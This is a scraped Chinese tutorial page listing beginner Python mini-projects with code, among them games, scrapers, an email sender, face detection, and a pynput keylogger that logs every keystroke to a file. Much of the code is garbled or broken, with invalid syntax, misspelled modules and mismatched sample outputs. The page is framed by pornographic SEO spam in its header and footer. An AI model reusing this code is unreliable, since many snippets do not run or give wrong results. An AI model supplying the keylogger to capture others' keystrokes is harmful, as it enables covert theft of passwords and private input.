日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程语言 > python >内容正文

python

Python之值得学习练手的22个迷你程序(附代码)

發(fā)布時(shí)間:2024/5/21 python 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Python之值得学习练手的22个迷你程序(附代码) 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

① 前言

  • Python 豐富的開(kāi)發(fā)生態(tài)是它的一大優(yōu)勢(shì),各種第三方庫(kù)、框架和代碼,都是前人造好的“輪子”,能夠完成很多操作,讓開(kāi)發(fā)事半功倍。
  • 本文分享 22 個(gè)通過(guò) Python 構(gòu)建的項(xiàng)目,以此來(lái)學(xué)習(xí) Python 編程,這些例子都很簡(jiǎn)單實(shí)用,非常適合初學(xué)者用來(lái)練習(xí)。大家也可嘗試根據(jù)項(xiàng)目的目的及提示,自己構(gòu)建解決方法,提高編程水平。

② 骰子模擬器

  • 目的:創(chuàng)建一個(gè)程序來(lái)模擬擲骰子。
  • 提示:當(dāng)用戶詢問(wèn)時(shí),使用 random 模塊生成一個(gè) 1 到 6 之間的數(shù)字。
import random; while int(input('Press 1 to roll the dice or ? to exit:ln')): print(random.randint(1,6)) Press 1 to roll the diceor 0 to exit 1 4

③ 石頭剪刀布游戲

  • 目標(biāo):創(chuàng)建一個(gè)命令行游戲,游戲者可以在石頭、剪刀和布之間進(jìn)行選擇,與計(jì)算機(jī) PK。如果游戲者贏了,得分就會(huì)添加,直到結(jié)束游戲時(shí),最終的分?jǐn)?shù)會(huì)展示給游戲者。
  • 提示:接收游戲者的選擇,并且與計(jì)算機(jī)的選擇進(jìn)行比較,計(jì)算機(jī)的選擇是從選擇列表中隨機(jī)選取的,如果游戲者獲勝,則增加 1 分。
import random choices = ["Rock", "Paper", "Scissors"] computer = random.choice(choices) player = False cpu_score = 0 player_score = 0 while True:player = input("Rock, Paper or Scissors?").capitalize()# 判斷游戲者和電腦的選擇if player == computer:print("Tie!")elif player == "Rock":if computer == "Paper":print("You lose!", computer, "covers", player)cpu_score+=1else:print("You win!", player, "smashes", computer)player_score+=1elif player == "Paper":if computer == "Scissors":print("You lose!", computer, "cut", player)cpu_score+=1else:print("You win!", player, "covers", computer)player_score+=1elif player == "Scissors":if computer == "Rock":print("You lose...", computer, "smashes", player)cpu_score+=1else:print("You win!", player, "cut", computer)player_score+=1elif player=='E':print("Final Scores:")print(f"CPU:{cpu_score}")print(f"Plaer:{player_score}")breakelse:print("That's not a valid play. Check your spelling!")computer = random.choice(choices)

④ 隨機(jī)密碼生成器

  • 目標(biāo):創(chuàng)建一個(gè)程序,可指定密碼長(zhǎng)度,生成一串隨機(jī)密碼。
  • 提示:創(chuàng)建一個(gè)數(shù)字+大寫字母+小寫字母+特殊字符的字符串,根據(jù)設(shè)定的密碼長(zhǎng)度隨機(jī)生成一串密碼。
import random passlen = int(input("enter the length of password")) s = "abcdefghijklmnopqrstuvwxyz01234567890ABCDEFGHIJKMNOPQRSTUVWXYZ!a#$%&*()?" p = "".join(random.sample(s,passlen)) print(p) ------------------------------------------------- enter the length of password 6 Za1gB0

⑤ 句子生成器

  • 目的:通過(guò)用戶提供的輸入,來(lái)生成隨機(jī)且唯一的句子。
  • 提示:以用戶輸入的名詞、代詞、形容詞等作為輸入,然后將所有數(shù)據(jù)添加到句子中,并將其組合返回。
color = input("Enter a color: ") pluralNoun = input("Enter a plural noun: " ) celebrity = input("Enter a celebrity: " ) print("Roses are", color) print(pluralNoun + " are blue") print("I love",celebrity) -------------------------------------------- Red Teeth RDJ Roses are red. teeth are blue. I Love RDJ

⑥ 猜數(shù)字游戲

  • 目的:在這個(gè)游戲中,任務(wù)是創(chuàng)建一個(gè)腳本,能夠在一個(gè)范圍內(nèi)生成一個(gè)隨機(jī)數(shù)。如果用戶在三次機(jī)會(huì)中猜對(duì)了數(shù)字,那么用戶贏得游戲,否則用戶輸。
  • 提示:生成一個(gè)隨機(jī)數(shù),然后使用循環(huán)給用戶三次猜測(cè)機(jī)會(huì),根據(jù)用戶的猜測(cè)打印最終的結(jié)果。
import random number = random.randint(1,10) for i in range(?,3):user = int(input("guess the number"))if user = number:print("Hurray!!")print("you guessed the number right it's [number]")breakelif user>number :print("Your guess is too high")elif user<number :print("Your guess is too low.") else:print("Nice Try!, but the number is number]")

⑦ 故事生成器

  • 目的:每次用戶運(yùn)行程序時(shí),都會(huì)生成一個(gè)隨機(jī)的故事。
  • 提示:random 模塊可以用來(lái)選擇故事的隨機(jī)部分,內(nèi)容來(lái)自每個(gè)列表里。
import random when = ['A few years ago', 'Yesterday', 'Last night', 'A long time ago','On 20th Jan'] who = ['a rabbit', 'an e lephant', 'a mouse', 'a turtle', 'a cat'] name =['Ali', 'Miriam', 'daniel', 'Hoouk', 'Starwalker'] residence = ['Barcelona', 'India', 'Germany', 'Venice', 'England'] went = ['cinema', 'university', 'seminar', 'school', 'laundry'] happened = ['made a lot of friends', 'Eats a burger', 'found a secret key', 'solved a mistery', 'wrote a book'] print(random.choice(when) + ',' + random.choice(who) + ' that lived in' + random.choice( residence) + ',went to the' + random.choice(went) + ' and ' + random.choice(happened)) ----------------------OUTPUT----------------------------------- A long time ago, a cat that lived in England, went to the seminar and solved a mistery

⑧ 郵件地址切片器

  • 目的:編寫一個(gè) Python 腳本,可以從郵件地址中獲取用戶名和域名。
  • 提示:使用 @ 作為分隔符,將地址分為分為兩個(gè)字符串。
# Get the user's email address email = input("what is your email address 7: ").strip() # slice out the user name user_name = email[:email.index("@")] # Slice out the domain name domain_name = email[:email. index("a")+1:] # Format message res = f"Your username is' user name]' and your domain name is '{domain name}'" # Display the result message print(res) -----------------------OUTPUT----------------------------- what is your email address?: karl31@gmail. com Your username is "karl31" and your domain name is "gmail.com"

⑨ 自動(dòng)發(fā)送郵件

  • 目的:編寫一個(gè) Python 腳本,可以使用這個(gè)腳本發(fā)送電子郵件。
  • 提示:email 庫(kù)可用于發(fā)送電子郵件。
import smtplib from email.message import EmailMessage email = EmailMessage() ## Creating a object for EmailMessage email['from'] = 'xyz name' ## Person who is sending email['to'] = 'xyz id' ## Whom we are sending email['subject'] = 'xyz subject' ## Subject of email email.set_content("Xyz content of email") ## content of email with smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp: ## sending request to server smtp.ehlo() ## server object smtp.starttls() ## used to send data between server and client smtp.login("email_id","Password") ## login id and password of gmail smtp.send_message(email) ## Sending email print("email send") ## Printing success message

⑩ 縮寫詞

  • 目的:編寫一個(gè) Python 腳本,從給定的句子生成一個(gè)縮寫詞。
  • 提示:可以通過(guò)拆分和索引來(lái)獲取第一個(gè)單詞,然后將其組合。

? 文字冒險(xiǎn)游戲

  • 目的:編寫一個(gè)有趣的 Python 腳本,通過(guò)為路徑選擇不同的選項(xiàng)讓用戶進(jìn)行有趣的冒險(xiǎn)。

? Hangman

  • 目的:創(chuàng)建一個(gè)簡(jiǎn)單的命令行 hangman 游戲。
  • 提示:創(chuàng)建一個(gè)密碼詞的列表并隨機(jī)選擇一個(gè)單詞。現(xiàn)在將每個(gè)單詞用下劃線“”表示,給用戶提供猜單詞的機(jī)會(huì),如果用戶猜對(duì)了單詞,則將“”用單詞替換。
import time import random name = input("What is your name? ") print ("Hello, " + name, "Time to play hangman!") time.sleep(1) print ("Start guessing...\n") time.sleep(0.5) ## A List Of Secret Words words = ['python','programming','treasure','creative','medium','horror'] word = random.choice(words) guesses = '' turns = 5 while turns > 0: failed = 0 for char in word: if char in guesses: print (char,end="") else:print ("_",end=""), failed += 1 if failed == 0: print ("\nYou won") break guess = input("\nguess a character:") guesses += guess if guess not in word: turns -= 1 print("\nWrong") print("\nYou have", + turns, 'more guesses') if turns == 0: print ("\nYou Lose")

? 鬧鐘

  • 目的:編寫一個(gè)創(chuàng)建鬧鐘的 Python 腳本。
  • 提示:可以使用 date-time 模塊創(chuàng)建鬧鐘,以及 playsound 庫(kù)播放聲音。
from datetime import datetime from playsound import playsound alarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n") alarm_hour = alarm_time[0:2] alarm_minute = alarm_time[3:5] alarm_seconds = alarm_time[6:8] alarm_period = alarm_time[9:11].upper() print("Setting up alarm..") while True:now = datetime.now()current_hour = now.strftime("%I")current_minute = now.strftime("%M")current_seconds = now.strftime("%S")current_period = now.strftime("%p")if(alarm_period == current_period):if(alarm_hour == current_hour):if(alarm_minute == current_minute):if(alarm_seconds == current_seconds):print("Wake Up!")playsound('audio.mp3') ## download the alarm sound from linkbreak

? 有聲讀物

  • 目的:編寫一個(gè) Python 腳本,用于將 pdf 文件轉(zhuǎn)換為有聲讀物。
  • 提示:借助 pyttsx3 庫(kù)將文本轉(zhuǎn)換為語(yǔ)音。
  • 安裝:pyttsx3,PyPDF2。

? 天氣應(yīng)用

  • 目的:編寫一個(gè) Python 腳本,接收城市名稱并使用爬蟲獲取該城市的天氣信息。
  • 提示:你可以使用 Beautifulsoup 和 requests 庫(kù)直接從谷歌主頁(yè)爬取數(shù)據(jù)。
  • 安裝:requests,BeautifulSoup。
from bs4 import BeautifulSoup import requests headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}def weather(city):city=city.replace(" ","+")res = requests.get(f'https://www.google.com/search?q={city}&oq={city}&aqs=chrome.0.35i39l2j0l4j46j69i60.6128j1j7&sourceid=chrome&ie=UTF-8',headers=headers)print("Searching in google......\n")soup = BeautifulSoup(res.text,'html.parser') location = soup.select('#wob_loc')[0].getText().strip() time = soup.select('#wob_dts')[0].getText().strip() info = soup.select('#wob_dc')[0].getText().strip() weather = soup.select('#wob_tm')[0].getText().strip()print(location)print(time)print(info)print(weather+"°C") print("enter the city name") city = input() city = city + " weather" weather(city)

? 人臉檢測(cè)

  • 目的:編寫一個(gè) Python 腳本,可以檢測(cè)圖像中的人臉,并將所有的人臉保存在一個(gè)文件夾中。
  • 提示:可以使用 haar 級(jí)聯(lián)分類器對(duì)人臉進(jìn)行檢測(cè),它返回的人臉坐標(biāo)信息,可以保存在一個(gè)文件中。
  • 安裝:OpenCV。
  • 下載:haarcascade_frontalface_default.xml。
import cv2 # Load the cascade face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml') # Read the input image img = cv2.imread('images/img0.jpg') # Convert into grayscale gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # Detect faces faces = face_cascade.detectMultiScale(gray, 1.3, 4) # Draw rectangle around the faces for (x, y, w, h) in faces:cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)crop_face = img[y:y + h, x:x + w] cv2.imwrite(str(w) + str(h) + '_faces.jpg', crop_face) # Display the output cv2.imshow('img', img) cv2.imshow("imgcropped",crop_face) cv2.waitKey()

? 提醒應(yīng)用

  • 目的:創(chuàng)建一個(gè)提醒應(yīng)用程序,在特定的時(shí)間提醒你做一些事情(桌面通知)。
  • 提示:Time 模塊可以用來(lái)跟蹤提醒時(shí)間,toastnotifier 庫(kù)可以用來(lái)顯示桌面通知。
  • 安裝:win10toast。
from win10toast import ToastNotifier import time toaster = ToastNotifier() try:print("Title of reminder")header = input()print("Message of reminder")text = input()print("In how many minutes?")time_min = input()time_min=float(time_min) except:header = input("Title of reminder\n")text = input("Message of remindar\n")time_min=float(input("In how many minutes?\n")) time_min = time_min * 60 print("Setting up reminder..") time.sleep(2) print("all set!") time.sleep(time_min) toaster.show_toast(f"{header}", f"{text}", duration=10, threaded=True) while toaster.notification_active(): time.sleep(0.005)

? 維基百科文章摘要

  • 目的:使用一種簡(jiǎn)單的方法從用戶提供的文章鏈接中生成摘要。
  • 提示:你可以使用爬蟲獲取文章數(shù)據(jù),通過(guò)提取生成摘要。
from bs4 import BeautifulSoup import re import requests import heapq from nltk.tokenize import sent_tokenize,word_tokenize from nltk.corpus import stopwordsurl = str(input("Paste the url"\n")) num = int(input("Enter the Number of Sentence you want in the summary")) num = int(num) headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'} #url = str(input("Paste the url.......")) res = requests.get(url,headers=headers) summary = "" soup = BeautifulSoup(res.text,'html.parser') content = soup.findAll("p") for text in content:summary +=text.text def clean(text):text = re.sub(r"\[[0-9]*\]"," ",text)text = text.lower()text = re.sub(r'\s+'," ",text)text = re.sub(r","," ",text)return text summary = clean(summary)print("Getting the data......\n")##Tokenixing sent_tokens = sent_tokenize(summary)summary = re.sub(r"[^a-zA-z]"," ",summary) word_tokens = word_tokenize(summary) ## Removing Stop wordsword_frequency = {} stopwords = set(stopwords.words("english"))for word in word_tokens:if word not in stopwords:if word not in word_frequency.keys():word_frequency[word]=1else:word_frequency[word] +=1 maximum_frequency = max(word_frequency.values()) print(maximum_frequency) for word in word_frequency.keys():word_frequency[word] = (word_frequency[word]/maximum_frequency) print(word_frequency) sentences_score = {} for sentence in sent_tokens:for word in word_tokenize(sentence):if word in word_frequency.keys():if (len(sentence.split(" "))) <30:if sentence not in sentences_score.keys():sentences_score[sentence] = word_frequency[word]else:sentences_score[sentence] += word_frequency[word]print(max(sentences_score.values())) def get_key(val): for key, value in sentences_score.items(): if val == value: return key key = get_key(max(sentences_score.values())) print(key+"\n") print(sentences_score) summary = heapq.nlargest(num,sentences_score,key=sentences_score.get) print(" ".join(summary)) summary = " ".join(summary)

? 獲取谷歌搜索結(jié)果

  • 目的:創(chuàng)建一個(gè)腳本,可以根據(jù)查詢條件從谷歌搜索獲取數(shù)據(jù)。
from bs4 import BeautifulSoup import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'} def google(query):query = query.replace(" ","+")try:url = f'https://www.google.com/search?q={query}&oq={query}&aqs=chrome..69i57j46j69i59j35i39j0j46j0l2.4948j0j7&sourceid=chrome&ie=UTF-8'res = requests.get(url,headers=headers)soup = BeautifulSoup(res.text,'html.parser')except:print("Make sure you have a internet connection")try:try:ans = soup.select('.RqBzHd')[0].getText().strip()except:try:title=soup.select('.AZCkJd')[0].getText().strip()try:ans=soup.select('.e24Kjd')[0].getText().strip()except:ans=""ans=f'{title}\n{ans}'except:try:ans=soup.select('.hgKElc')[0].getText().strip()except:ans=soup.select('.kno-rdesc span')[0].getText().strip()except:ans = "can't find on google"return ansresult = google(str(input("Query\n"))) print(result)

? 貨幣換算器

  • 目的:編寫一個(gè) Python 腳本,可以將一種貨幣轉(zhuǎn)換為其他用戶選擇的貨幣。
  • 提示:使用 Python 中的 API,或者通過(guò) forex-python 模塊來(lái)獲取實(shí)時(shí)的貨幣匯率。
  • 安裝:forex-python。
from forex_python.converter import CurrencyRates c = CurrencyRates() amount = int(input(" Enter The Amount You Want To Convert\n")) from currency = input("Fromn\n").upper() to_currency = input("To\n").upper() print(from_currency, "To", to_ currency, amount) result = c.convert(from currency, to_currency, amount) print(result)

? 鍵盤記錄器

  • 目的:編寫一個(gè) Python 腳本,將用戶按下的所有鍵保存在一個(gè)文本文件中。
  • 提示:pynput 是 Python 中的一個(gè)庫(kù),用于控制鍵盤和鼠標(biāo)的移動(dòng),它也可以用于制作鍵盤記錄器。簡(jiǎn)單地讀取用戶按下的鍵,并在一定數(shù)量的鍵后將它們保存在一個(gè)文本文件中。
from pynput.keyboard import Key, Controller,Listener import time keyboard = Controller()keys=[] def on_press(key):global keys#keys.append(str(key).replace("'",""))string = str(key).replace("'","")keys.append(string)main_string = "".join(keys)print(main_string)if len(main_string)>15:with open('keys.txt', 'a') as f:f.write(main_string) keys= [] def on_release(key):if key == Key.esc:return Falsewith listener(on_press=on_press,on_release=on_release) as listener:listener.join()

? 文章朗讀器

  • 目的:編寫一個(gè) Python 腳本,自動(dòng)從提供的鏈接讀取文章。
import pyttsx3 import requests from bs4 import BeautifulSoup url = str(input("Paste article url\n"))def content(url):res = requests.get(url)soup = BeautifulSoup(res.text,'html.parser')articles = []for i in range(len(soup.select('.p'))):article = soup.select('.p')[i].getText().strip()articles.append(article)contents = " ".join(articles)return contents engine = pyttsx3.init('sapi5') voices = engine.getProperty('voices') engine.setProperty('voice', voices[0].id)def speak(audio):engine.say(audio)engine.runAndWait()contents = content(url) ## print(contents) ## In case you want to see the content#engine.save_to_file #engine.runAndWait() ## In case if you want to save the article as a audio file

? 短網(wǎng)址生成器

  • 目的:編寫一個(gè) Python 腳本,使用API縮短給定的 URL。
from __future__ import with_statement import contextlib try:from urllib.parse import urlencode except ImportError:from urllib import urlencode try:from urllib.request import urlopen except ImportError:from urllib2 import urlopen import sysdef make_tiny(url):request_url = ('http://tinyurl.com/api-create.php?' + urlencode({'url':url}))with contextlib.closing(urlopen(request_url)) as response:return response.read().decode('utf-8')def main():for tinyurl in map(make_tiny, sys.argv[1:]):print(tinyurl)if __name__ == '__main__':main() -----------------------------OUTPUT------------------------ python url_shortener.py https://www.wikipedia.org/ https://tinyurl.com/buf3qt3

? 總結(jié)

  • 項(xiàng)目中有些需要適當(dāng)調(diào)整,比如自動(dòng)發(fā)送郵件,可以選擇使用QQ郵箱;查詢天氣信息也可使用國(guó)內(nèi)一些免費(fèi)的API;維基百科可以對(duì)應(yīng)百度百科;谷歌搜索可以對(duì)應(yīng)百度搜索等。

總結(jié)

以上是生活随笔為你收集整理的Python之值得学习练手的22个迷你程序(附代码)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 久精品国产 | www在线视频 | 悟空影视大全免费高清观看在线 | 国产在线视频二区 | 亚洲av无码一区二区二三区 | 国产美女福利在线 | 在线天堂一区 | 在线免费日本 | 男人看片网站 | 熟妇人妻久久中文字幕 | 波多野结衣电影在线播放 | 午夜影院在线观看免费 | 台湾佬美性中文娱乐 | 国产在线拍揄自揄拍无码视频 | 日韩人妻无码精品久久久不卡 | 亚洲最大视频网 | 色婷婷激情五月 | 男人日女人逼 | 国产精品自拍网 | 亚洲精品日韩在线观看 | 久久精品牌麻豆国产大山 | 欧美a级黄色片 | 欧美日本一二三区 | 国产91沙发系列 | 日本激情一区二区三区 | 91天天看 | 亚洲一区国产 | 色之久久综合 | 成人久久18免费网站图片 | 日韩在线播放中文字幕 | 日韩成人高清视频在线观看 | 黑人100部av解禁片 | 午夜精品一区二区三区在线播放 | 手机在线看片你懂的 | 久久精品电影 | 亚洲第一区在线观看 | 亚洲天堂2013 | 韩国无码一区二区三区精品 | 久久2019 | www.欧美色| 国产传媒在线 | 色黄视频网站 | 天堂欧美城网站 | 欧美日韩免费在线 | 呦女精品 | 美日韩三级 | 国产99久久久久久免费看 | 亚洲乱码精品久久久久.. | 91情侣在线| 天天曰夜夜曰 | 国产成人综合久久 | 男女洗澡互摸私密部位视频 | 婷婷国产精品 | 欧美一及片 | 日韩一区二区精品视频 | 99久久国| 久久九九热 | 久久伊人热 | 日韩精品久久久久久久电影99爱 | 蜜桃视频一区二区 | 国产精品16p | 国产精品久久久久久久久久久新郎 | 国产精品亚洲一区 | 欧美日韩在线播放视频 | 91激情 | 欧美精品免费视频 | 亚洲精品国产精品乱码 | 高清毛片aaaaaaaaa郊外 | 欧美骚视频 | 国产精品传媒视频 | 私密视频在线观看 | av男人的天堂网 | 久久久久亚洲av无码网站 | 午夜激情在线观看视频 | 深夜的私人秘书 | 91色国产 | 亚洲不卡网 | 大地资源在线观看免费高清版粤语 | 久久综合久久综合久久 | 国产黄色视屏 | 色久综合 | 欧美一级片网址 | 亚洲国产精品毛片av不卡在线 | 91美女精品 | 欧美夜夜| 亚洲精品在线观 | 天天摸天天碰天天爽天天弄 | 日本在线观看a | 久久久久麻豆v国产精华液好用吗 | 五月天狠狠操 | 三级黄色在线 | 91精品国产高潮对白 | 欧美视频一区二区三区四区 | 国产一级av毛片 | 中国免费看的片 | 古代黄色片 | av免费观看不卡 | 成人在线视频在线观看 | 婷婷亚洲精品 |